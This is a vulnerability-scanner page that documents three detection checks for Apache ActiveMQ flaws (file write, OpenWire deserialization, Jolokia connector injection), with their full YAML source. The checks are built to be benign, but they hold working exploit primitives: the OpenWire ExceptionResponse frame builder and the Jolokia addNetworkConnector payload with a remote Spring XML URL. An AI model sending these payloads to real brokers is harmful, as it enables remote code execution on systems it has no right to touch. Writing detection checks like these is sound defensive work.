Apache ActiveMQ — 3 vulnerability checks

noctis ships 3 vulnerability checks for Apache ActiveMQ, covering 3 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Apache ActiveMQ Fileserver Unauthenticated Arbitrary File Write

CVECVE-2016-3088
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionhttp_request, match · highest QoD 75
Feedtests/vulnerabilities/activemq/CVE-2016-3088.yaml

Detects the Apache ActiveMQ Fileserver arbitrary file write vulnerability. Before 5.14.0 the Fileserver web application (mounted at /fileserver/) accepts unauthenticated HTTP PUT requests, writing the request body to an arbitrary path under the broker's webapps directory. Attackers abuse this to upload a JSP/XML payload and move it into an executable location for remote code execution (CISA KEV 2022-02-10, actively exploited).

Detection is a BENIGN write-then-read differential — no code is written: 1. PUT an INERT .txt file whose body is a per-run random token to /fileserver/<token>.txt. A vulnerable broker returns 204 No Content (or 201 Created) and persists the file. 2. GET the same path. A vulnerable broker serves the file back, so the response body contains the exact token we just wrote. The finding fires only when the PUT was accepted AND the GET echoes the per-run token — a genuine consequence reproducible on a real target that a constant-marker mock or a patched broker (PUT -> 401/403/405) cannot forge.

How noctis detects it

  1. HTTP(S) request PUT /fileserver/noctis-{{oob_token}}.txt with a crafted body
  2. HTTP(S) request GET /fileserver/noctis-{{oob_token}}.txt
  3. Checks get_resp.body for [0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12} → finding QoD 75: ActiveMQ Fileserver write-then-read confirmed: PUT /fileserver/noctis-….txt returned … and GET echoed the per-run token (arbitrary file wri…

References:

Feed source — tests/vulnerabilities/activemq/CVE-2016-3088.yaml
uid: 98939f78-0d21-45a6-bce9-9f63aa89b37f
name: "Apache ActiveMQ Fileserver Unauthenticated Arbitrary File Write (CVE-2016-3088)"
description: |
  Detects the Apache ActiveMQ Fileserver arbitrary file write vulnerability.
  Before 5.14.0 the Fileserver web application (mounted at /fileserver/) accepts
  unauthenticated HTTP PUT requests, writing the request body to an arbitrary
  path under the broker's webapps directory. Attackers abuse this to upload a
  JSP/XML payload and move it into an executable location for remote code
  execution (CISA KEV 2022-02-10, actively exploited).

  Detection is a BENIGN write-then-read differential — no code is written:
  1. PUT an INERT .txt file whose body is a per-run random token to
     /fileserver/<token>.txt. A vulnerable broker returns 204 No Content (or
     201 Created) and persists the file.
  2. GET the same path. A vulnerable broker serves the file back, so the
     response body contains the exact token we just wrote.
  The finding fires only when the PUT was accepted AND the GET echoes the
  per-run token — a genuine consequence reproducible on a real target that a
  constant-marker mock or a patched broker (PUT -> 401/403/405) cannot forge.
cves: [CVE-2016-3088]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.25
tags: [activemq, apache, file-write, rce, kev, fileserver, jetty]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2016-3088"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2016/CVE-2016-3088.yaml"
  - "https://www.rapid7.com/db/modules/exploit/multi/http/apache_activemq_upload_jsp/"

steps:
  # 1) Write an INERT file (body = per-run random token only, a .txt — no code).
  #    {{oob_token}} is a per-run UUID, so the written content differs every run.
  - id: fileserver-put
    action: http_request
    method: PUT
    path: /fileserver/noctis-{{oob_token}}.txt
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "text/plain"
    body: "{{oob_token}}"
    store_as: put_resp

  # 2) Read the file back. A vulnerable broker serves our inert file.
  - id: fileserver-get
    action: http_request
    method: GET
    path: /fileserver/noctis-{{oob_token}}.txt
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: get_resp

  # 3) Confirm: PUT accepted (204/201) AND the GET body echoes the exact
  #    per-run token. The regex requires the retrieved body to carry a UUID
  #    (our token shape); the condition pins it to THIS run's token, so a
  #    constant-body mock or a patched broker produces no finding.
  - id: fileserver-write-read-confirm
    action: match
    source: get_resp.body
    pattern: "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}"
    condition: "(put_resp.status == 204 || put_resp.status == 201) && stridx(get_resp.body, oob_token) >= 0"
    on_match:
      finding:
        confidence_delta: 0.65
        qod: 75
        evidence: "ActiveMQ Fileserver write-then-read confirmed: PUT /fileserver/noctis-{{oob_token}}.txt returned {{put_resp.status}} and GET echoed the per-run token (arbitrary file write, CVE-2016-3088)"
      stop: true

Apache ActiveMQ OpenWire Deserialization Pre-Auth RCE

CVECVE-2023-46604
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https, apachemq, activemq
Ports61616
Detectionscript, set_var, tcp_open, tcp_send, tcp_close, wait_oob, match, http_request · highest QoD 97
Feedtests/vulnerabilities/activemq/CVE-2023-46604.yaml

On the OpenWire port, reads the broker version from the WireFormatInfo greeting every client receives without authentication and reports versions before 5.15.16, 5.16.7, 5.17.6 and 5.18.3. With OOB enabled it then sends an ExceptionResponse frame naming the Spring ClassPathXmlApplicationContext class with the OOB URL as its message: a vulnerable broker instantiates the class and fetches the URL, which confirms the deserialization sink (the OOB server serves no bean definition, so nothing runs). On the web console, when it allows unauthenticated access, it reads BrokerVersion from the Jolokia API, whatever the broker name.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Opens a persistent TCP/TLS socket
  3. Parses / computes the next value with a Rhai script
  4. Parses / computes the next value with a Rhai script
  5. Sends a binary frame on the open socket
  6. Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: Apache ActiveMQ OpenWire deserialization RCE confirmed (CVE-2023-46604)
  7. Checks wf.version for ^[0-9] → finding QoD 70: Apache ActiveMQ vulnerable version on OpenWire (CVE-2023-46604)
  8. HTTP(S) request GET /api/jolokia/read/org.apache.activemq:type=Broker,brokerName=*/BrokerVersion
  9. Checks jolokia_resp.body for "BrokerVersion":"[0-9]
  10. Checks jolokia_resp.body for "BrokerVersion":"([0-4]\.[0-9]+\.[0-9]+|5\.([0-9]|1[0-4])\.[0-9]+|5\.… → finding QoD 70: Apache ActiveMQ vulnerable BrokerVersion read from the Jolokia API — before 5.15.16 / 5.16.7 / 5.17.6 / 5.18.3 (CVE-2023-46604)

References:

Feed source — tests/vulnerabilities/activemq/CVE-2023-46604.yaml
# Apache ActiveMQ OpenWire deserialization RCE — CVE-2023-46604
#
# The OpenWire unmarshaller (BaseDataStreamMarshaller.createThrowable) builds the
# throwable of an ExceptionResponse frame from any class name with a String
# constructor. A pre-auth client sends an ExceptionResponse whose "exception" is
# org.springframework.context.support.ClassPathXmlApplicationContext and whose
# message is a URL: the broker instantiates the Spring context, which fetches that
# URL. Fixed releases (5.15.16, 5.16.7, 5.17.6, 5.18.3) call
# OpenWireUtil.validateIsThrowable() first and never fetch it.
#
# Detection:
#   OpenWire port (61616 / nmap "apachemq"):
#     - the broker greets every client with a WireFormatInfo frame whose
#       marshalled properties carry ProviderVersion — read without auth (QoD 70)
#     - OOB only: the ExceptionResponse frame above with {{oob_url}} as the
#       message. The OOB server answers with no bean definition, so the Spring
#       context fails to load and nothing runs on the broker (QoD 97)
#   Web console (http/https): Jolokia BrokerVersion read, any broker name (QoD 70;
#     stock brokers put it behind Basic auth, hence the OpenWire branch)
#
# Not covered: OpenWire over TLS (ssl:// 61617), brokers with
# wireFormat.sizePrefixDisabled=true, and old brokers whose greeting carries no
# ProviderVersion (those still get the OOB probe). Vendor builds such as
# 5.11.0.redhat-630xxx are judged on their numeric prefix.
#
# Frame layout (loose encoding, size-prefixed, as the public PoC sends it):
#   u32 size | 1f ExceptionResponse | u32 commandId | 00 responseRequired |
#   u32 correlationId | 01 throwable | 01 u16 len class | 01 u16 len message
uid: e043c723-3585-485e-ba90-40631d783055
name: "Apache ActiveMQ OpenWire Deserialization Pre-Auth RCE (CVE-2023-46604)"
description: "On the OpenWire port, reads the broker version from the WireFormatInfo greeting every client receives without authentication and reports versions before 5.15.16, 5.16.7, 5.17.6 and 5.18.3. With OOB enabled it then sends an ExceptionResponse frame naming the Spring ClassPathXmlApplicationContext class with the OOB URL as its message: a vulnerable broker instantiates the class and fetches the URL, which confirms the deserialization sink (the OOB server serves no bean definition, so nothing runs). On the web console, when it allows unauthenticated access, it reads BrokerVersion from the Jolokia API, whatever the broker name."
cves: [CVE-2023-46604]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.30
tags: [rce, deserialization, activemq, apache, java, openwire, oob, intrusive, kev]
services: [http, https, apachemq, activemq]
ports: [61616]
author: noctis
version: "1.1.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2023-46604"
  - "https://activemq.apache.org/security-advisories.data/CVE-2023-46604-announcement.txt"
  - "https://github.com/X1r0z/ActiveMQ-RCE"

steps:
  # Every port except the host's (first) http / https one first gets a short
  # greeting read: an OpenWire broker greets at once, so its port is recognised
  # by the greeting itself, whatever port or service name it has. The Jolokia
  # branch runs on the http / https ports and on any probed port that did not
  # greet with OpenWire — never on an OpenWire listener (an HTTP request there is
  # read as a 1.2 GB frame size and hangs).
  - id: pick-branch
    action: script
    store_as: openwire_port
    code: |
      !(("http" in service_ports && service_ports["http"] == port)
        || ("https" in service_ports && service_ports["https"] == port))

  - id: init-vars
    action: set_var
    var_name: is_activemq
    var_value: false

  # ── OpenWire branch ────────────────────────────────────────────────────────
  - id: open-openwire
    action: tcp_open
    handle: ow
    port: "{{port}}"
    read_banner: true
    timeout_secs: 3
    condition: "openwire_port == true"
    store_as: conn

  # Parse the WireFormatInfo greeting: u32 size, type 01, magic "ActiveMQ", then the
  # marshalled property map where ProviderVersion is a STRING (09) u16-length value.
  - id: parse-greeting
    action: script
    condition: "openwire_port == true && conn.connected == true"
    store_as: wf
    code: |
      let r = #{ openwire: false, version: "", vulnerable: false };
      let hex = conn.banner_hex;
      if type_of(hex) == "string" && substr(hex, 8, 25) == "01" + hexstr("ActiveMQ") {
        r.openwire = true;
        let needle = "000f" + hexstr("ProviderVersion") + "09";
        let idx = stridx(hex, needle);
        if idx >= 0 && idx % 2 == 0 {
          let off = idx + strlen(needle);
          let n = u16be(substr(hex, off, off + 3));
          let vhex = substr(hex, off + 4, off + 3 + n * 2);
          if n > 0 && n < 64 && strlen(vhex) == n * 2 {
            let v = base64_decode(base64_encode_hex(vhex));
            r.version = v;
            let m = eregmatch("^([0-9]+)\\.([0-9]+)\\.([0-9]+)", v);
            if m.len() == 4 {
              let maj = parse_int(m[1]);
              let min = parse_int(m[2]);
              let pat = parse_int(m[3]);
              r.vulnerable = maj < 5 || (maj == 5 && (min < 15
                || (min == 15 && pat < 16) || (min == 16 && pat < 7)
                || (min == 17 && pat < 6) || (min == 18 && pat < 3)));
            }
          }
        }
      }
      r

  # Benign proof: the broker fetches {{oob_url}} while instantiating the Spring
  # context named as the frame's throwable class. Sent to every OpenWire broker
  # (not only to vulnerable versions) so a broker that hides or backports its
  # version is still caught; a fixed broker rejects the class before loading it.
  # Without a callback (egress blocked) the version check below still reports.
  - id: build-exploit
    action: script
    condition: "openwire_port == true && conn.connected == true && wf.openwire == true && oob_enabled"
    store_as: exploit_frame
    code: |
      let cls = "org.springframework.context.support.ClassPathXmlApplicationContext";
      let msg = oob_url;
      let body = "1f" + "00000000" + "00" + "00000000" + "01";
      body += "01" + p16be(strlen(cls)) + hexstr(cls);
      body += "01" + p16be(strlen(msg)) + hexstr(msg);
      p32be(strlen(body) / 2) + body

  # No reply is expected (the frame fails to unmarshal after the throwable is
  # built and the broker drops the connection): keep the read short.
  - id: send-exploit
    action: tcp_send
    handle: ow
    send_hex: "{{exploit_frame}}"
    timeout_secs: 2
    condition: "openwire_port == true && conn.connected == true && wf.openwire == true && oob_enabled"
    store_as: exploit_resp

  - id: close-openwire
    action: tcp_close
    handle: ow

  - id: wait-callback
    action: wait_oob
    oob_timeout_secs: 15
    store_as: oob_result
    condition: "openwire_port == true && conn.connected == true && wf.openwire == true && oob_enabled"
    on_success:
      finding:
        title: "Apache ActiveMQ OpenWire deserialization RCE confirmed (CVE-2023-46604)"
        confidence_delta: 0.65
        qod: 97
        evidence: "ActiveMQ {{wf.version}} instantiated ClassPathXmlApplicationContext from an OpenWire ExceptionResponse frame and fetched the OOB URL (CVE-2023-46604)"
      stop: true

  - id: openwire-version
    action: match
    source: wf.version
    pattern: '^[0-9]'
    condition: "openwire_port == true && conn.connected == true && wf.vulnerable == true"
    on_match:
      finding:
        title: "Apache ActiveMQ vulnerable version on OpenWire (CVE-2023-46604)"
        confidence_delta: 0.40
        qod: 70
        evidence: "OpenWire WireFormatInfo greeting reports ProviderVersion {{wf.version}} — before 5.15.16 / 5.16.7 / 5.17.6 / 5.18.3 (CVE-2023-46604)"
      stop: true

  # ── Web console branch (Jolokia) ───────────────────────────────────────────
  # brokerName=* matches any broker name; the reply nests the attribute under the
  # MBean name: {"value":{"org.apache.activemq:brokerName=x,type=Broker":{"BrokerVersion":"5.17.5"}}}
  - id: jolokia-probe
    action: http_request
    method: GET
    path: "/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=*/BrokerVersion"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: true
    timeout_secs: 10
    condition: "openwire_port == false || conn.connected == false || wf.openwire == false"
    store_as: jolokia_resp

  - id: activemq-fingerprint
    action: match
    source: jolokia_resp.body
    pattern: '"BrokerVersion":"[0-9]'
    condition: "jolokia_resp.status == 200"
    on_match:
      set_vars:
        is_activemq: true

  - id: version-check
    action: match
    source: jolokia_resp.body
    pattern: '"BrokerVersion":"([0-4]\.[0-9]+\.[0-9]+|5\.([0-9]|1[0-4])\.[0-9]+|5\.15\.(1[0-5]|[0-9])|5\.16\.[0-6]|5\.17\.[0-5]|5\.18\.[0-2])[^0-9]'
    condition: "is_activemq == true"
    on_match:
      finding:
        confidence_delta: 0.40
        qod: 70
        evidence: "Apache ActiveMQ vulnerable BrokerVersion read from the Jolokia API — before 5.15.16 / 5.16.7 / 5.17.6 / 5.18.3 (CVE-2023-46604)"
      stop: true

Apache ActiveMQ Classic Jolokia addNetworkConnector code injection

CVECVE-2026-34197
Severityhigh · CVSS 8.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionset_var, http_request, script, wait_oob, match · highest QoD 97
Feedtests/vulnerabilities/activemq/CVE-2026-34197.yaml

Detects Apache ActiveMQ Classic brokers (before 5.19.4, 6.0.0 to 6.2.2) whose Jolokia JMX-HTTP bridge accepts a network connector using the VM transport with a brokerConfig Spring XML URL, which lets a Jolokia user run code on the broker JVM. The feed reads the broker name and version over /api/jolokia/, without authentication or with the credentials supplied with the scan. It then adds a network connector "static:(vm://<random>?brokerConfig=xbean:<url>)" and removes it right after. With OOB enabled the URL is the scanner's callback URL, and the broker fetching it confirms the finding. Without OOB the URL points to a missing local file: the broker accepting the connector, which fixed releases refuse with "VM scheme is not allowed", confirms it. When the connector cannot be added safely, a BrokerVersion in the vulnerable range is reported at lower confidence.

How noctis detects it

  1. HTTP(S) request POST /api/jolokia/ with a crafted body
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request POST /api/jolokia/ with a crafted body
  4. Parses / computes the next value with a Rhai script
  5. HTTP(S) request POST /api/jolokia/ with a crafted body
  6. Parses / computes the next value with a Rhai script
  7. HTTP(S) request POST /api/jolokia/ with a crafted body
  8. Parses / computes the next value with a Rhai script
  9. Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: Apache ActiveMQ Jolokia addNetworkConnector code injection (CVE-2026-34197)
  10. HTTP(S) request POST /api/jolokia/ with a crafted body
  11. HTTP(S) request POST /api/jolokia/ with a crafted body
  12. HTTP(S) request POST /api/jolokia/ with a crafted body
  13. Parses / computes the next value with a Rhai script
  14. Checks ex.body for "status"\s*:\s*200 → finding QoD 75: Apache ActiveMQ Jolokia addNetworkConnector code injection (CVE-2026-34197)
  15. … and 1 more steps — see the feed source below

References:

Feed source — tests/vulnerabilities/activemq/CVE-2026-34197.yaml
# Apache ActiveMQ Classic Jolokia addNetworkConnector code injection — CVE-2026-34197
#
# ActiveMQ Classic before 5.19.4 and 6.0.0–6.2.2 lets a Jolokia user (the web
# console's /api/jolokia/, admin:admin Basic auth by default, unauthenticated on
# 6.0.0–6.1.1 through CVE-2024-32114) call BrokerService.addNetworkConnector()
# with a VM transport URI whose brokerConfig=xbean:<url> makes the broker load a
# remote Spring XML context; its singleton beans are instantiated before the
# configuration is validated (Runtime.exec() bean → RCE). 5.19.4 / 6.2.3 reject
# the VM scheme in network connector URIs ("VM scheme is not allowed").
#
# Verified on real brokers (apache/activemq-classic 5.18.3 and 6.1.0 vulnerable;
# 5.19.4 and 6.2.3 binaries from Maven Central as the fixed pair):
#   - Jolokia refuses a request without an Origin header ("Origin null is not
#     allowed", strict-checking + allow-origin *://localhost*): send
#     Origin: http://localhost.
#   - static:(vm://<rand>?brokerConfig=xbean:<url>) → "value":"NC" and the broker
#     GETs <url> (retried by the connector); fixed → IllegalArgumentException
#     "VM scheme is not allowed". The old discovery:(multicast://default) shape
#     is refused by real brokers ("DiscoveryAgent scheme NOT recognized").
#
# Detection:
#   1. Read BrokerVersion of org.apache.activemq:type=Broker,brokerName=* without
#      authentication, else with the scan's credentials (Basic auth) on a 401.
#   2. When no network connector named "NC" exists yet (the name every
#      URI-added connector gets, and the one removeNetworkConnector takes), call
#      addNetworkConnector with the VM transport + brokerConfig: the xbean URL is
#      the OOB URL when OOB is on (callback → QoD 97), otherwise a non-existent
#      local file (nothing is loaded; acceptance alone shows the VM scheme check
#      is missing → QoD 75). The connector is removed right away.
#   3. Fallback when the exec could not be attempted (a connector "NC" already
#      exists) or got no Jolokia reply: BrokerVersion in the vulnerable range
#      → QoD 70. A Jolokia refusal of the exec (fixed release, or an access
#      policy denying exec) reports nothing.
uid: 734af0f7-fadf-4f50-878c-ff47027a0ec1
name: "Apache ActiveMQ Classic Jolokia addNetworkConnector code injection (CVE-2026-34197)"
description: |
  Detects Apache ActiveMQ Classic brokers (before 5.19.4, 6.0.0 to 6.2.2) whose Jolokia
  JMX-HTTP bridge accepts a network connector using the VM transport with a brokerConfig
  Spring XML URL, which lets a Jolokia user run code on the broker JVM.
  The feed reads the broker name and version over /api/jolokia/, without authentication
  or with the credentials supplied with the scan. It then adds a network connector
  "static:(vm://<random>?brokerConfig=xbean:<url>)" and removes it right after. With OOB
  enabled the URL is the scanner's callback URL, and the broker fetching it confirms the
  finding. Without OOB the URL points to a missing local file: the broker accepting the
  connector, which fixed releases refuse with "VM scheme is not allowed", confirms it.
  When the connector cannot be added safely, a BrokerVersion in the vulnerable range is
  reported at lower confidence.
category: rce
cves: [CVE-2026-34197]
cvss: 8.8
severity: high
confidence_base: 0.30
tags: [activemq, jolokia, jmx, rce, spring, oob, intrusive, kev]
services: [http, https]
author: noctis
version: "2.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2026-34197"
  - "https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt"
  - "https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/"

steps:
  # Every stored result is pre-set: a step that fails leaves it undefined.
  - id: init-anon
    action: set_var
    var_name: anon
    var_value: {status: 0, body: ""}

  - id: init-authd
    action: set_var
    var_name: authd
    var_value: {status: 0, body: ""}

  - id: init-nc
    action: set_var
    var_name: nc
    var_value: {status: 0, body: ""}

  - id: init-ex
    action: set_var
    var_name: ex
    var_value: {status: 0, body: ""}

  - id: init-oob-hit
    action: set_var
    var_name: oob_hit
    var_value: false

  - id: init-rm
    action: set_var
    var_name: rm
    var_value: {status: 0, body: ""}

  - id: init-nc2
    action: set_var
    var_name: nc2
    var_value: {status: 0, body: ""}

  - id: version-anon
    action: http_request
    method: POST
    path: /api/jolokia/
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "application/json"
      Origin: "http://localhost"
    body: '{"type":"read","mbean":"org.apache.activemq:type=Broker,brokerName=*","attribute":"BrokerVersion"}'
    store_as: anon

  # Which access to use: anonymous when the read answered, else the scan's
  # credentials as Basic auth when the console asked for them.
  - id: access
    action: script
    store_as: auth
    code: |
      let ok = anon.status == 200 && type_of(anon.body) == "string"
               && ereg("\"BrokerVersion\"\\s*:\\s*\"", anon.body);
      if ok {
        #{ anon: true, cred: false, via: "without authentication",
           hn: "X-Requested-With", hv: "XMLHttpRequest" }
      } else if anon.status == 401 && cred_enabled && is_def_var("cred_username") {
        let pw = "";
        if is_def_var("cred_password") { pw = cred_password; }
        #{ anon: false, cred: true, via: "with the credentials supplied with the scan",
           hn: "Authorization", hv: "Basic " + base64_encode(cred_username + ":" + pw) }
      } else {
        #{ anon: false, cred: false, via: "", hn: "X-Requested-With", hv: "XMLHttpRequest" }
      }

  - id: version-auth
    action: http_request
    method: POST
    path: /api/jolokia/
    port: "{{port}}"
    condition: "auth.cred == true"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "application/json"
      Origin: "http://localhost"
      "{{auth.hn}}": "{{auth.hv}}"
    body: '{"type":"read","mbean":"org.apache.activemq:type=Broker,brokerName=*","attribute":"BrokerVersion"}'
    store_as: authd

  # Broker MBean name + version from the wildcard read, and the vulnerable range
  # (< 5.19.4, 6.0.0 – 6.2.2).
  - id: broker
    action: script
    store_as: jk
    code: |
      let body = "";
      if auth.anon { body = anon.body; }
      else if auth.cred && authd.status == 200 && type_of(authd.body) == "string" { body = authd.body; }
      let m = eregmatch("\"(org\\.apache\\.activemq:[^\"]*type=Broker[^\"]*)\"\\s*:\\s*\\{\\s*\"BrokerVersion\"\\s*:\\s*\"([^\"]+)\"", body);
      if type_of(m) != "array" || m.len() < 3 {
        #{ ok: false, mbean: "", version: "", vuln_version: false }
      } else {
        let v = eregmatch("^([0-9]+)\\.([0-9]+)\\.([0-9]+)", m[2]);
        let vuln = false;
        if type_of(v) == "array" && v.len() >= 4 {
          let a = int(v[1]); let b = int(v[2]); let c = int(v[3]);
          vuln = a < 5 || (a == 5 && (b < 19 || (b == 19 && c < 4)))
                 || (a == 6 && (b < 2 || (b == 2 && c < 3)));
        }
        #{ ok: true, mbean: m[1], version: m[2], vuln_version: vuln }
      }

  # removeNetworkConnector takes the name ("NC" for every URI-added connector)
  # and removes the first match: only add one when no "NC" exists yet.
  - id: existing-nc
    action: http_request
    method: POST
    path: /api/jolokia/
    port: "{{port}}"
    condition: "jk.ok == true"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "application/json"
      Origin: "http://localhost"
      "{{auth.hn}}": "{{auth.hv}}"
    body: '{"type":"search","mbean":"org.apache.activemq:connector=networkConnectors,networkConnectorName=NC,*"}'
    store_as: nc

  - id: plan
    action: script
    store_as: plan
    code: |
      let free = jk.ok && nc.status == 200 && type_of(nc.body) == "string"
                 && ereg("\"value\"\\s*:\\s*\\[\\s*\\]", nc.body);
      let name = "noctis" + rand_hex(6);
      let cfg = "xbean:file:/" + name + "/absent.xml";
      if oob_enabled { cfg = "xbean:" + oob_url; }
      #{ free: free, name: name, cfg: cfg }

  - id: add-connector
    action: http_request
    method: POST
    path: /api/jolokia/
    port: "{{port}}"
    condition: "plan.free == true"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    headers:
      Content-Type: "application/json"
      Origin: "http://localhost"
      "{{auth.hn}}": "{{auth.hv}}"
    body: '{"type":"exec","mbean":"{{jk.mbean}}","operation":"addNetworkConnector(java.lang.String)","arguments":["static:(vm://{{plan.name}}?brokerConfig={{plan.cfg}})"]}'
    store_as: ex

  # Accepted: the exec returned the connector's name. Any other Jolokia reply
  # (fixed release: "VM scheme is not allowed"; exec denied by policy) is a refusal.
  - id: outcome
    action: script
    store_as: acc
    code: |
      let b = "";
      if type_of(ex.body) == "string" { b = ex.body; }
      let jolokia = ereg("\"status\"\\s*:\\s*[0-9]+", b);
      let v = eregmatch("\"value\"\\s*:\\s*\"([^\"]+)\"", b);
      let on = plan.free && jolokia && ereg("\"status\"\\s*:\\s*200", b) && v.len() >= 2;
      let name = "";
      if on { name = v[1]; }
      #{ on: on, refused: plan.free && jolokia && !on, name: name }

  - id: wait-callback
    action: wait_oob
    oob_timeout_secs: 20
    store_as: oob_result
    condition: "acc.on == true && oob_enabled"
    on_success:
      finding:
        confidence_delta: 0.67
        qod: 97
        title: "Apache ActiveMQ Jolokia addNetworkConnector code injection (CVE-2026-34197)"
        evidence: "Jolokia ({{auth.via}}) accepted addNetworkConnector static:(vm://{{plan.name}}?brokerConfig=xbean:<OOB URL>) on {{jk.mbean}} (BrokerVersion {{jk.version}}) and the broker fetched the Spring XML URL (OOB callback received)"
      set_vars:
        oob_hit: true

  - id: remove-connector
    action: http_request
    method: POST
    path: /api/jolokia/
    port: "{{port}}"
    condition: "acc.on == true"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "application/json"
      Origin: "http://localhost"
      "{{auth.hn}}": "{{auth.hv}}"
    body: '{"type":"exec","mbean":"{{jk.mbean}}","operation":"removeNetworkConnector(java.lang.String)","arguments":["{{acc.name}}"]}'
    store_as: rm

  # The exec got no Jolokia reply (timeout): the broker may still have added the
  # connector. Look again and remove an "NC" that was not there before.
  - id: recheck-nc
    action: http_request
    method: POST
    path: /api/jolokia/
    port: "{{port}}"
    condition: "plan.free == true && acc.on == false && acc.refused == false"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "application/json"
      Origin: "http://localhost"
      "{{auth.hn}}": "{{auth.hv}}"
    body: '{"type":"search","mbean":"org.apache.activemq:connector=networkConnectors,networkConnectorName=NC,*"}'
    store_as: nc2

  - id: remove-late-connector
    action: http_request
    method: POST
    path: /api/jolokia/
    port: "{{port}}"
    condition: "plan.free == true && acc.on == false && acc.refused == false && nc2.status == 200 && ereg(\"networkConnectorName=NC\", nc2.body)"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "application/json"
      Origin: "http://localhost"
      "{{auth.hn}}": "{{auth.hv}}"
    body: '{"type":"exec","mbean":"{{jk.mbean}}","operation":"removeNetworkConnector(java.lang.String)","arguments":["NC"]}'
    store_as: rm

  - id: cleanup
    action: script
    store_as: cln
    code: |
      let b = "";
      if type_of(rm.body) == "string" { b = rm.body; }
      if ereg("\"value\"\\s*:\\s*true", b) { "removed" } else { "NOT removed, remove it by hand" }

  - id: accepted
    action: match
    source: ex.body
    pattern: '"status"\s*:\s*200'
    condition: "acc.on == true && oob_hit == false"
    on_match:
      finding:
        confidence_delta: 0.45
        qod: 75
        title: "Apache ActiveMQ Jolokia addNetworkConnector code injection (CVE-2026-34197)"
        evidence: "Jolokia ({{auth.via}}) accepted addNetworkConnector static:(vm://{{plan.name}}?brokerConfig={{plan.cfg}}) on {{jk.mbean}} (BrokerVersion {{jk.version}}, connector {{acc.name}} {{cln}}); fixed releases refuse it with \"VM scheme is not allowed\""

  - id: version-only
    action: match
    source: jk.version
    pattern: '^[0-9]'
    condition: "jk.ok == true && jk.vuln_version == true && acc.on == false && acc.refused == false"
    on_match:
      finding:
        confidence_delta: 0.40
        qod: 70
        title: "Apache ActiveMQ vulnerable version with Jolokia access (CVE-2026-34197)"
        evidence: "Jolokia ({{auth.via}}) reports BrokerVersion {{jk.version}} for {{jk.mbean}} (vulnerable before 5.19.4 and 6.0.0 to 6.2.2); the connector probe was not run"

View these feeds on GitHub